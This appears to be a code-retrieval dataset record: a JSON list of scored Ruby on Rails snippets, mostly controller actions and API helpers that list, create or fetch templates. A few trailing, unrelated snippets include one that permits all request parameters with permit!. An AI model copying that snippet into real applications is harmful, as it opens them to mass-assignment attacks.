[ { "docid": "1a44d0fa4272206ac5ddcfae8407a7de", "score": "0.7748435", "text": "def index\n @yamato_logistic_order_templates = YamatoLogisticOrderTemplate.all\n end", "title": "" }, { "docid": "2d8899dbf1f42f3fde3643c4fd6d511e", "score": "0.6967682", "text": "def create\n @yamato_logistic_order_template = YamatoLogisticOrderTemplate.new(yamato_logistic_order_template_params)\n\n if @yamato_logistic_order_template.save\n render :show, status: :created, location: @yamato_logistic_order_template\n else\n render json: @yamato_logistic_order_template.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "11060f0223b5f13a028f04ca9bd3ae72", "score": "0.6830152", "text": "def index\n @order_templates = OrderTemplate.all\n end", "title": "" }, { "docid": "8d4c03ebe73438b49af2697175331aea", "score": "0.6671941", "text": "def set_yamato_logistic_order_template\n @yamato_logistic_order_template = YamatoLogisticOrderTemplate.find(params[:id])\n end", "title": "" }, { "docid": "0d3da5541976cdd0e33d7055c97539d6", "score": "0.6424835", "text": "def index\n @notification_templates = NotificationTemplate.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @notification_templates\n end", "title": "" }, { "docid": "1cf8258a36b71142e4e286ab89f77f76", "score": "0.6387703", "text": "def template()\n HTTP.get(\"#{@urlAPI}/v2/domainTemplates/providers/#{@providerId}/services/#{@serviceId}\")\n end", "title": "" }, { "docid": "ba19b40c4e5eb4cb2ee71d177f702140", "score": "0.6384303", "text": "def update\n if @yamato_logistic_order_template.update(yamato_logistic_order_template_params)\n render :show, status: :ok, location: @yamato_logistic_order_template\n else\n render json: @yamato_logistic_order_template.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0e3d7f6b23812adb5e0e1a2d234761ef", "score": "0.63787085", "text": "def index\n @email_notification_templates = EmailNotificationTemplate.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @email_notification_templates\n end", "title": "" }, { "docid": "a26a305bc9fde6a34bbc8e1a94d749af", "score": "0.6362393", "text": "def index\n respond_with(@templates = current_user.templates.only(:title, :description, :updated_at).asc(:updated_at).entries)\n end", "title": "" }, { "docid": "1228db23ba1020de257f4ae3e0604bfa", "score": "0.63605356", "text": "def index\n @one_table_templates =\n @one_table.\n one_table_templates.\n by_user(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @one_table_templates }\n end\n end", "title": "" }, { "docid": "ecd95a863fc0329a7a9e3fce7fdbb78f", "score": "0.6313022", "text": "def index\n @account_templates = AccountTemplate.all.order(:order)\n end", "title": "" }, { "docid": "9d46aacbe85e8d204565258fb3477471", "score": "0.62138945", "text": "def index\n # check if the user has permissions to use the templates API\n raise Pundit::NotAuthorizedError unless Api::V0::TemplatePolicy.new(@user, :guidance_group).index?\n\n @org_templates = {}\n\n published_templates = Template.includes(:org)\n .unarchived\n .where(customization_of: nil, published: true)\n .order(:org_id, :version)\n\n customized_templates = Template.includes(:org)\n .unarchived\n .where(org_id: @user.org_id, published: true)\n .where.not(customization_of: nil)\n\n published_templates.order(:org_id, :version).each do |temp|\n if @org_templates[temp.org].present?\n @org_templates[temp.org][:own][temp.family_id] = temp if @org_templates[temp.org][:own][temp.family_id].nil?\n else\n @org_templates[temp.org] = {}\n @org_templates[temp.org][:own] = {}\n @org_templates[temp.org][:cust] = {}\n @org_templates[temp.org][:own][temp.family_id] = temp\n end\n end\n customized_templates.each do |temp|\n if @org_templates[temp.org].present?\n if @org_templates[temp.org][:cust][temp.family_id].nil?\n @org_templates[temp.org][:cust][temp.family_id] =\n temp\n end\n else\n @org_templates[temp.org] = {}\n @org_templates[temp.org][:own] = {}\n @org_templates[temp.org][:cust] = {}\n @org_templates[temp.org][:cust][temp.family_id] = temp\n end\n end\n respond_with @org_templates\n end", "title": "" }, { "docid": "fe188c52b682b3c1c8af9976693b870c", "score": "0.61698437", "text": "def list_service_templates(client, args, options)\n response = client.get(RESOURCE_PATH)\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n array_list = JSON.parse(response.body)\n TABLE.show(array_list['DOCUMENT_POOL']['DOCUMENT'])\n 0\n end\n end\nend", "title": "" }, { "docid": "91adc1d70c4a87878cad2492416375a5", "score": "0.6168731", "text": "def templates\n @templates = Ingredient.select {|i| i.application_root? && i.is_template}\n\n respond_to do |format|\n format.html\n format.json {render json: @templates}\n end\n end", "title": "" }, { "docid": "02a41bbf6acaedffa4a455a05502c5ad", "score": "0.61544985", "text": "def index\n @transaction_templates = TransactionTemplate.all\n end", "title": "" }, { "docid": "a62920e43a9a6f0746fdc8bf31a4d86d", "score": "0.61268634", "text": "def index\n @page_templates = PageTemplate.order(params[:order] || 'created_at ASC')\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @page_templates }\n end\n end", "title": "" }, { "docid": "c54a45f185000fb34aca5e97fdfcbc1c", "score": "0.60675555", "text": "def templates\n response = get \"storage/template\"\n data = JSON.parse response.body\n data\n end", "title": "" }, { "docid": "3c7ce78eab9ced5aca7e693d5a999179", "score": "0.598838", "text": "def index\n @express_templates = current_shop.express_templates\n .page(params[:page])\n .per(params[:per])\n\n # render json: @express_templates\n end", "title": "" }, { "docid": "cc713078b71e44d408d74f9ece9168dc", "score": "0.5984076", "text": "def json_template_content\n[ {\n\t\t\"id\": 1,\n\t\t\"name\": \"Default\",\n\t\t\"template\": \"{timeMessage} {firstName} {lastName}. Room number {roomNumber} is now available for your use at {company} in {city}. If you require anything please reach out to us.\",\n\t\t\"deliminator\": {\n\t\t\t\"start\": \"{\",\n\t\t\t\"stop\": \"}\"\n\t\t}\n\t},\n\t{\n\t\t\"id\": 2,\n\t\t\"name\": \"Bond Style\",\n\t\t\"template\": \"{timeMessage} {lastName}, {firstName} {lastName}. Room number {roomNumber} is now available for your use at {company} in {city}. If you require anything, including a martini - please reach out to us.\",\n\t\t\"deliminator\": {\n\t\t\t\"start\": \"{\",\n\t\t\t\"stop\": \"}\"\n\t\t}\n\t}]\nend", "title": "" }, { "docid": "a3d9f895564eac17e1c221bb7ab5ce65", "score": "0.59520644", "text": "def get_templates\n uri = build_uri(\"/accounts/#{acct_id}/templates\")\n\n http = initialize_net_http_ssl(uri)\n request = Net::HTTP::Get.new(uri.request_uri, headers({ 'Content-Type' => 'application/json' }))\n JSON.parse(http.request(request).body)\n end", "title": "" }, { "docid": "2cc705f16be0e7300dbe61717625de95", "score": "0.59459454", "text": "def index\n @admin_template_packages = TemplatePackage.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_template_package_types }\n end\n end", "title": "" }, { "docid": "724a1903e915d104a2046308e6558f5e", "score": "0.592237", "text": "def yamato_logistic_order_template_params\n params.require(:yamato_logistic_order_template).permit(:yamato_size_item_code_id, :yamato_packing_item_code_id, :yamato_handling_type_code_id, :—no-timestamps)\n end", "title": "" }, { "docid": "88c544c265ccbafeced4b371a73363e4", "score": "0.59142935", "text": "def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end", "title": "" }, { "docid": "88c544c265ccbafeced4b371a73363e4", "score": "0.59142935", "text": "def templates\n response = get 'templates'\n response.map{|item| Hashie::Mash.new(item)}\n end", "title": "" }, { "docid": "5ac3a4bc00f466652b301563df196313", "score": "0.5888698", "text": "def list_templates(filter)\n filter ||= 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n json = send_request(params)\n json['template'] || []\n end", "title": "" }, { "docid": "4d7e7ab7c9ffc2ed88ec1d2c31be5ea3", "score": "0.58815694", "text": "def templates\n\t\t@organisation = Organisation.find(params[:id])\n authorize @organisation\n\t\t#if user_signed_in? then\n\t\ttemplates = {}\n\t\[email protected] do |template|\n\t\t\tif template.is_published? then\n\t\t\t\ttemplates[template.id] = template.title\n\t\t\tend\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: templates.to_json }\n\t\tend\n# \t\telse\n# \t\t\trender(:file => File.join(Rails.root, 'public/403.html'), :status => 403, :layout => false)\n# \t\tend\n\tend", "title": "" }, { "docid": "4ccd8d94a975a3dc12792b13a0a1097f", "score": "0.5864074", "text": "def index\n @phase_templates = PhaseTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @phase_templates }\n end\n end", "title": "" }, { "docid": "39734a95cc944daec48c5b3b37659af3", "score": "0.585868", "text": "def index\n @label_templates = Spree::LabelTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @label_templates }\n end\n end", "title": "" }, { "docid": "696ef50a226022b637d724d695f18171", "score": "0.5847198", "text": "def templates\n actions(:templates)\n end", "title": "" }, { "docid": "8b4958646f02219cdb6737bfa6e4c314", "score": "0.58354306", "text": "def retrieve_message_templates()\n start.uri('/api/message/template')\n .get()\n .go()\n end", "title": "" }, { "docid": "077b656d4a622bdd6b9a692f07e93da5", "score": "0.5828981", "text": "def get_template\n @gateway.request(\"/get/template.php\")\n end", "title": "" }, { "docid": "510a39b3318cfffc489f318513a98991", "score": "0.58256423", "text": "def tc_templates(request)\n dashboard_request('GET', '/api/tc-templates', request)\n end", "title": "" }, { "docid": "eb8508e463047beee64c978cb763295a", "score": "0.5821953", "text": "def index\n @workflow_templates = WorkflowTemplate.all\n end", "title": "" }, { "docid": "45099cb180b8f1254174009651d7a470", "score": "0.582003", "text": "def index\n respond_with @sequence_templates\n end", "title": "" }, { "docid": "da4841828b99dc3970926e4dab5154de", "score": "0.58196986", "text": "def destroy\n @yamato_logistic_order_template.destroy\n end", "title": "" }, { "docid": "9206c7ecd63cdd74dad016b53033c258", "score": "0.5818405", "text": "def index\n @notification_templates = NotificationTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @notification_templates }\n end\n end", "title": "" }, { "docid": "0330966a9f6d94e44e750be41bb2fce5", "score": "0.5818093", "text": "def index\n @admin_template_types = TemplateType.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_template_type_types }\n end\n end", "title": "" }, { "docid": "8d2892977ada6bf9df634e7127a535ef", "score": "0.581412", "text": "def index\n @templates = Template.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end", "title": "" }, { "docid": "76514ef1a6599bfcabf9e93a088d86f0", "score": "0.58128816", "text": "def index\n # Get the templates\n @message_templates = MessageTemplate.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @message_templates }\n end\n end", "title": "" }, { "docid": "112fdd514e98b14916853bc925394603", "score": "0.58099467", "text": "def index\n @tweet_templates = TweetTemplate.all\n end", "title": "" }, { "docid": "216feaabafaf7722ed0c8ffceec67dd3", "score": "0.580915", "text": "def index\n @templates = Template.where(company_id: current_user.client_id)\n end", "title": "" }, { "docid": "9cab19d525faf262d120b7c2d649a074", "score": "0.58085626", "text": "def index\n @notification_templates = NotificationTemplate.all\n end", "title": "" }, { "docid": "5a64036c88c00f832a778d80ac98e05f", "score": "0.5789714", "text": "def index\n @api_v1_policy_group_templates = Api::V1::PolicyGroupTemplate.all\n end", "title": "" }, { "docid": "1ed4c573eb135493dd20102c624a2ce6", "score": "0.5780309", "text": "def index\n @admin_template_sources = TemplateSource.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_template_source_types }\n end\n end", "title": "" }, { "docid": "c3bad3b5888af86fc773ae5bc2f05d32", "score": "0.5772801", "text": "def index\n @templates = MnoEnterprise::Impac::Dashboard.published_templates\n end", "title": "" }, { "docid": "77c2307e58aa18e2f18bb863f46a82f5", "score": "0.5767295", "text": "def index\n @admin_template_authors = TemplateAuthor.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_template_author_types }\n end\n end", "title": "" }, { "docid": "9aecb63424e71227f5fcd79bd1aa9d3f", "score": "0.5765469", "text": "def using_template\n org_templates = @user.org.templates.where(customization_of: nil)\n raise Pundit::NotAuthorizedError unless Api::V0::StatisticsPolicy.new(@user,\n org_templates.first).using_template?\n\n @templates = {}\n org_templates.each do |template|\n if @templates[template.title].blank?\n @templates[template.title] = {}\n @templates[template.title][:title] = template.title\n @templates[template.title][:id] = template.family_id\n @templates[template.title][:uses] = 0\n end\n scoped = template.plans\n if params['start_date'].present? || params['end_date'].present?\n scoped = scoped.where(created_at: dates_to_range(params))\n end\n @templates[template.title][:uses] += scoped.length\n end\n respond_with @templates\n end", "title": "" }, { "docid": "f5895c3f9483447fb41f65a9335be071", "score": "0.57571095", "text": "def index\n @workflowtemplates = Workflowtemplate.all\n end", "title": "" }, { "docid": "b48785afe83d0a592a4a7e2e7ba355d7", "score": "0.5750049", "text": "def index\n\n @chat_templates = ChatTemplate.where(user_id: current_user.id).all\n\n render json: @chat_templates\n\n end", "title": "" }, { "docid": "a5f8bd601f776c146a712870b0eba985", "score": "0.57453704", "text": "def index\n @customtemplates = Customtemplate.all\n end", "title": "" }, { "docid": "615a3e287cfc31c8560d821bb09f492a", "score": "0.57389027", "text": "def generate_templates\n out_processor = Railroader::OutputProcessor.new\n template_rows = {}\n tracker.templates.each do |name, template|\n template.each_output do |out|\n out = CGI.escapeHTML(out_processor.format(out))\n template_rows[name] ||= []\n template_rows[name] << out.gsub(\"\\n\", \";\").gsub(/\\s+/, \" \")\n end\n end\n\n template_rows = template_rows.sort_by{|name, value| name.to_s}\n\n Railroader::Report::Renderer.new('template_overview', :locals => {:template_rows => template_rows}).render\n end", "title": "" }, { "docid": "f9893688ea9606144ebf6f70ef74a0e3", "score": "0.57304716", "text": "def create_templates(json_response)\n json_response.map do |t|\n obj = Template.new(t)\n end\n end", "title": "" }, { "docid": "f014641f9a96dc4b02b9a54af156c8d0", "score": "0.572577", "text": "def generate_top_up_template\n\t\ttemplates = JSON.parse(IO.read(Rails.root.join(\"app\",\"models\",\"diagnostics\",TOP_UP_TEMPLATE_FILE_NAME)))\n\t\ttemplate = templates[\"reports\"][0].deep_symbolize_keys\n\t\ttemplate.assign_attributes(self)\n\t\t## so how will we mark these orders.\n\tend", "title": "" }, { "docid": "547bef8c75f8e70269505fc07207f86d", "score": "0.57255644", "text": "def list_templates\n %w(pin tag).each do |type|\n templates = configuration.send(\"#{ type }_templates\")\n messenger.section(\"AVAILABLE #{ type.upcase } TEMPLATES:\")\n if templates\n templates.each_with_index do |template, index|\n template_name, template = template.first\n puts \"#{ index + 1 }.\\tName: \".blue + \"#{ template_name }\"\n puts \"Opener:\".blue.rjust(22) + \"\\t#{ template[:opener] }\".truncate(80)\n puts \"Item:\".blue.rjust(22) + \"\\t#{ template[:item] }\".truncate(80)\n puts \"Closer:\".blue.rjust(22) + \"\\t#{ template[:closer] }\".truncate(80)\n end\n else\n messenger.warn('No templates defined...')\n end\n end\n end", "title": "" }, { "docid": "9eb8542ff610a0f8777fe081adbff0c5", "score": "0.5719646", "text": "def index\n @message_templates = MessageTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @message_templates }\n end\n end", "title": "" }, { "docid": "05050477420c99aa8fca215a2943ddf7", "score": "0.5715691", "text": "def index\n @temp_orders = TempOrder.all\n respond_to do |format|\n format.html { render layout: \"account\" }\n format.json { render :json => @temp_orders, root: false }\n end\n end", "title": "" }, { "docid": "6836983bcf510f671c4e50779372d5d1", "score": "0.5704784", "text": "def index\n @organization_charge_templates = OrganizationChargeTemplate.all\n end", "title": "" }, { "docid": "765cddcb1f719d454ca7f5cd1a006e93", "score": "0.5704274", "text": "def index\n respond_with(@campaign_templates)\n end", "title": "" }, { "docid": "9ff945483f2374fb6098b1e415055663", "score": "0.5702266", "text": "def index\n @email_templates = EmailTemplate.all.order(created_at: :desc)\n end", "title": "" }, { "docid": "d007de908fbfdf1892c97614875e1b52", "score": "0.5701007", "text": "def template\n [\n {\n name: 'tag_name',\n content: tag_name,\n },\n {\n name: 'repo_name',\n content: @repo.full_name\n },\n {\n name: 'body',\n content: body\n },\n {\n name: 'prerelease',\n content: prerelease? ? 'Yes' : 'No'\n },\n {\n name: 'published_at',\n content: published_at.strftime('%m/%d/%Y %H:%m %Z')\n }\n ]\n end", "title": "" }, { "docid": "2e2eb31423afc7fcde3afbceebf98366", "score": "0.5699698", "text": "def index\n authorize Template\n templates = Template.includes(:org).latest_version.where(customization_of: nil)\n case params[:f]\n when 'published'\n template_ids = templates.select { |t| t.published? || t.draft? }.collect(&:family_id)\n templates = Template.includes(:org).latest_version(template_ids).where(customization_of: nil)\n when 'unpublished'\n template_ids = templates.select { |t| !t.published? && !t.draft? }.collect(&:family_id)\n templates = Template.includes(:org).latest_version(template_ids).where(customization_of: nil)\n end\n paginable_renderise(\n partial: 'index',\n scope: templates,\n query_params: { sort_field: 'templates.title', sort_direction: :asc },\n locals: { action: 'index' },\n format: :json\n )\n end", "title": "" }, { "docid": "a8cb36ef4e5562f2843b55c079921039", "score": "0.5699545", "text": "def new_json_template\n Template.json_template(response_body[response_body.length - 1])\n end", "title": "" }, { "docid": "147404f7e0672c5566732b66a85394b0", "score": "0.5696847", "text": "def templates\n call(\"campaignTemplates\")\n end", "title": "" }, { "docid": "b9aaf3825be35795a971e6d6a53696ce", "score": "0.56959915", "text": "def templates\n fetch(:templates)\n end", "title": "" }, { "docid": "97f5109660eddbb5cba323353c5f7ff0", "score": "0.5692142", "text": "def index\n @applicationcustomtemplates = Applicationcustomtemplate.all\n end", "title": "" }, { "docid": "f99484ac2dd967b05c755d9c1404cca6", "score": "0.5687104", "text": "def index\n @check_item_templates = CheckItemTemplate.by_item_template_order.all\n @checklists = CheckList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @check_item_templates }\n end\n end", "title": "" }, { "docid": "85eeb2a1ca29391f24ab6cbc27c5d4c1", "score": "0.56793433", "text": "def show_service_template(client, args, options)\n response = client.get(\"#{RESOURCE_PATH}/#{args[0]}\")\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n str=\"%-20s: %-20s\"\n str_h1=\"%-80s\"\n\n document_hash = JSON.parse(response.body)\n template = document_hash['DOCUMENT']['TEMPLATE']['BODY']\n\n CLIHelper.print_header(str_h1 %\n \"SERVICE TEMPLATE #{document_hash['DOCUMENT']['ID']} INFORMATION\")\n\n puts str % [\"ID\", document_hash['DOCUMENT']['ID']]\n puts str % [\"NAME\", document_hash['DOCUMENT']['NAME']]\n puts str % [\"USER\", document_hash['DOCUMENT']['UNAME']]\n puts str % [\"GROUP\",document_hash['DOCUMENT']['GNAME']]\n\n puts\n\n CLIHelper.print_header(str_h1 % \"PERMISSIONS\",false)\n\n [\"OWNER\", \"GROUP\", \"OTHER\"].each { |e|\n mask = \"---\"\n mask[0] = \"u\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_U\"] == \"1\"\n mask[1] = \"m\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_M\"] == \"1\"\n mask[2] = \"a\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_A\"] == \"1\"\n\n puts str % [e, mask]\n }\n\n puts\n\n CLIHelper.print_header(str_h1 % \"TEMPLATE CONTENTS\",false)\n puts JSON.pretty_generate(template)\n\n 0\n end\n end\nend", "title": "" }, { "docid": "b555bb09a90e34867c2000c12f5736bb", "score": "0.5668638", "text": "def index\n @template_strategies = @message_config.template_strategies\n end", "title": "" }, { "docid": "1cf966027c9810cf1e9573118d2da003", "score": "0.56670904", "text": "def index\n @temp_order_details = TempOrderDetail.all\n respond_to do |format|\n format.html { render layout: \"account\" }\n format.json { render :json => @temp_order_details, root: false }\n end\n end", "title": "" }, { "docid": "65691fed649818def0332ddac5a68d7f", "score": "0.5663234", "text": "def index\n @templates = @firm.templates\n @template = Template.new\n end", "title": "" }, { "docid": "e8979fe47e51416770f0c6fc2802a880", "score": "0.5652467", "text": "def list_templates\n\t\t\tputs self.templates.join('\\n')\n\t\tend", "title": "" }, { "docid": "14b819fe24849432fb0006e48d5a4d37", "score": "0.5640542", "text": "def templates\n url = \"http://#{Delphix.server}/resources/json/delphix/database/template\"\n Delphix.get(url).body.result\n end", "title": "" }, { "docid": "ba5e7f0d7d7cdd44bfbb7c81008a60e4", "score": "0.56397134", "text": "def get_order_template_support_data(id)\n @client.raw('get', \"/ecommerce/order-templates/support-data/#{id}\")\n end", "title": "" }, { "docid": "b97ab65129555a9d702bbcf5dd7a1daa", "score": "0.5636677", "text": "def extra_templates\n []\n end", "title": "" }, { "docid": "87f27a7fc39e4b56622a13a3ee5abdae", "score": "0.5626614", "text": "def index\n @inventory_templates = InventoryTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventory_templates }\n end\n end", "title": "" }, { "docid": "4a74db7f2a1ba97f4d57440f98534673", "score": "0.56221646", "text": "def get_report_template(args = {}) \n get(\"/reports.json/template/#{args[:templateId]}\", args)\nend", "title": "" }, { "docid": "4a74db7f2a1ba97f4d57440f98534673", "score": "0.56221646", "text": "def get_report_template(args = {}) \n get(\"/reports.json/template/#{args[:templateId]}\", args)\nend", "title": "" }, { "docid": "4a19c6b146a3cbd78f61df050e186bc0", "score": "0.5621854", "text": "def index\n @artifact_type_templates = ArtifactTypeTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @artifact_type_templates }\n end\n end", "title": "" }, { "docid": "dcdf2c5be84e19baa20460a5234ee00a", "score": "0.56208676", "text": "def list_templates(type)\n http_get(uri: \"/editor/#{type}/templates\", fields: x_cookie)\n end", "title": "" }, { "docid": "15fa7fad25e644891bd11a61952fc5e9", "score": "0.561926", "text": "def show\n @one_table_template =\n @one_table.\n one_table_templates.\n by_user(current_user).\n find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @one_table_template }\n end\n end", "title": "" }, { "docid": "2a6090ebc866d7b6068365056a686b60", "score": "0.5614029", "text": "def index\n @templates = current_user.templates\n end", "title": "" }, { "docid": "ec3a77c5e5e46b3d320a8b9def7601b4", "score": "0.56139064", "text": "def index\n @campaign_templates = CampaignTemplate.all\n end", "title": "" }, { "docid": "8f4f17d37859d8377d6f3fe7f306abf9", "score": "0.5613535", "text": "def new\n @account = Account.find(params[:account_id])\n @templates = @account.templates\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template }\n end\n end", "title": "" }, { "docid": "583f35772e07891adf989c3f4800fab0", "score": "0.56123745", "text": "def index\n @templates = Template.all\n auth!\n respond_with(@templates)\n end", "title": "" }, { "docid": "943bf1e7be53f5fc6ea8a1d3f1942063", "score": "0.5611257", "text": "def json_template\n json = {}\n json[:general] = {}\n json[:general][:position] = nil\n json[:general][:provided_by] = nil\n json[:general][:category] = nil\n json[:general][:deadline] = nil\n json[:general][:salary] = nil\n json[:general][:num_positions] = nil\n json[:general][:location] = nil\n json[:general][:job_type] = nil\n json[:general][:probation_period] = nil\n json[:general][:vacancy_id] = nil\n\n json[:contact] = {}\n json[:contact][:address] = nil\n json[:contact][:phone] = nil\n json[:contact][:contact_person] = nil\n \n json[:job_description] = nil\n json[:additional_requirements] = nil\n json[:additional_info] = nil\n\n json[:qualifications] = {}\n json[:qualifications][:degree] = nil\n json[:qualifications][:work_experience] = nil\n json[:qualifications][:profession] = nil\n json[:qualifications][:age] = nil\n json[:qualifications][:knowledge_legal_acts] = nil\n\n # computers\n json[:computers] = []\n\n # languages\n json[:languages] = []\n\n json\nend", "title": "" }, { "docid": "eae523691eba862b0b149213d34bbedf", "score": "0.5609379", "text": "def index\n @email_templates = if @group\n @group.email_templates.order(\"version desc\")\n else\n EmailTemplate.where(\"1=1\")\n end\n @email_templates = @email_templates.where(language: params[:language]) if params[:language]\n # @email_templates = @email_templates.group_by(&:type) if (params[:group_by] == 'type')\n\n unless request.xhr?\n @email_templates = @email_templates.paginate(:page => params[:page]).order('id DESC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_templates }\n end\n end", "title": "" }, { "docid": "2654a15e1e55224e7c602215159a61f5", "score": "0.5601288", "text": "def index\n @admin_template_categories = TemplateCategory.order('id desc').page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_template_category_types }\n end\n end", "title": "" }, { "docid": "97d98337e651c44318b587554a25ad52", "score": "0.56005126", "text": "def index\n @wizardcustomtemplates = Wizardcustomtemplate.all\n end", "title": "" }, { "docid": "d5cb22a059d10b59fc5f04d17c38cdea", "score": "0.560047", "text": "def replace_content_api(template, vars)\n\n data_order = vars[:data_order]\n data_user = vars[:data_user]\n status = vars[:order_status]\n\n html_products = products_detail_to_html(data_order[:order_products])\n hash_products = {order_products: html_products }\n\n data_order.merge!(hash_products)\n\n #Generals\n template.gsub!('%order_status%', vars[:order_status] )\n template.gsub!('%order_deposit_accounts%', deposit_accounts(vars[:shopping_cart]))\n\n #ShoppingCart\n unless data_order[:order_id].nil?\n\n data_order.each do |key, value|\n if value.nil?\n template.gsub!('%'+key.to_s+'%', \"\")\n else\n template.gsub!('%'+key.to_s+'%', value.to_s)\n end\n end\n end\n\n #User\n unless data_user[:user_id].nil?\n data_user.each do |key, value|\n if value.nil?\n template.gsub!('%'+key.to_s+'%', \"\")\n else\n template.gsub!('%'+key.to_s+'%', value.to_s)\n end\n end\n template\n end\n end", "title": "" }, { "docid": "d3103b9cfdec51c7b9ed75b18e8a4aa0", "score": "0.5600207", "text": "def types\n doc = @http.get(\"templates/types?\")\n return doc\n end", "title": "" }, { "docid": "0132548f9f90c496f52bfb55f1860fbc", "score": "0.55907166", "text": "def index\n # @inventory_template_groups = InventoryTemplateGroup.all\n @inventory_template_groups = current_owner.restaurant.inventory_template_groups.page(params[:page])\n\n # @quantity = current_owner.restaurant.it_quantities\n @inventory_templates1 = current_owner.restaurant.inventory_template_groups.map {|itg| itg.inventory_templates.by_min(\"00\")}.flatten\n @inventory_templates2 = current_owner.restaurant.inventory_template_groups.map {|itg| itg.inventory_templates.by_min(\"15\")}.flatten\n @inventory_templates3 = current_owner.restaurant.inventory_template_groups.map {|itg| itg.inventory_templates.by_min(\"30\")}.flatten\n @inventory_templates4 = current_owner.restaurant.inventory_template_groups.map {|itg| itg.inventory_templates.by_min(\"45\")}.flatten\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventory_template_groups }\n end\n end", "title": "" }, { "docid": "d324efb70e2476ae6c3276c894b4e713", "score": "0.55799115", "text": "def index\n @tattoos = Tattoo.order('created_at DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tattoos }\n end\n end", "title": "" }, { "docid": "62353aeda6e315160cb74a629073f188", "score": "0.5577227", "text": "def templates\n @templates.merge\n end", "title": "" }, { "docid": "712f4f9f780ff3c52326363bf4d4c31b", "score": "0.5573773", "text": "def list(params = {})\n _do_request(\"/templates\", params)\n end", "title": "" }, { "docid": "8577769d9662b9eb0f332471e963ed34", "score": "0.55650187", "text": "def index\n @templates = Template.all\n end", "title": "" }, { "docid": "8577769d9662b9eb0f332471e963ed34", "score": "0.55650187", "text": "def index\n @templates = Template.all\n end", "title": "" }, { "docid": "8577769d9662b9eb0f332471e963ed34", "score": "0.55650187", "text": "def index\n @templates = Template.all\n end", "title": "" }, { "docid": "8577769d9662b9eb0f332471e963ed34", "score": "0.55650187", "text": "def index\n @templates = Template.all\n end", "title": "" }, { "docid": "8577769d9662b9eb0f332471e963ed34", "score": "0.55650187", "text": "def index\n @templates = Template.all\n end", "title": "" }, { "docid": "601884bc5a8ab238c20296ac38042e2b", "score": "0.55636257", "text": "def get_templates\n ensure_client && ensure_uri\n self.class.find_with_pagination(@client, @data['uri'] + '/templates')\n end", "title": "" }, { "docid": "5ec2278de71c6c1e1bb069c030ca9d4d", "score": "0.556324", "text": "def get_policy_templates\n @command = :get_policy_templates\n if @web_command && @prev_args.peek(0) != \"templates\"\n not_found_error = \"(use of aliases not supported via REST; use '/policy/templates' not '/policy/#{@prev_args.peek(0)}')\"\n raise ProjectRazor::Error::Slice::NotFound, not_found_error\n end\n # We use the common method in Utility to fetch object templates by providing Namespace prefix\n # print_object_array get_child_templates(ProjectRazor::PolicyTemplate), \"\\nPolicy Templates:\"\n print_object_array @client.get_policy_templates\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "bef294bfe40f1a0c3123f1f559aafa58", "score": "0.0", "text": "def sfmodule_params\n params.require(:sfmodule).permit(:name, :pillar_id)\n end", "title": "" } ]
[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.6981273", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6783789", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.67460483", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.6742222", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.67354137", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.65934366", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.65028495", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.6497783", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": 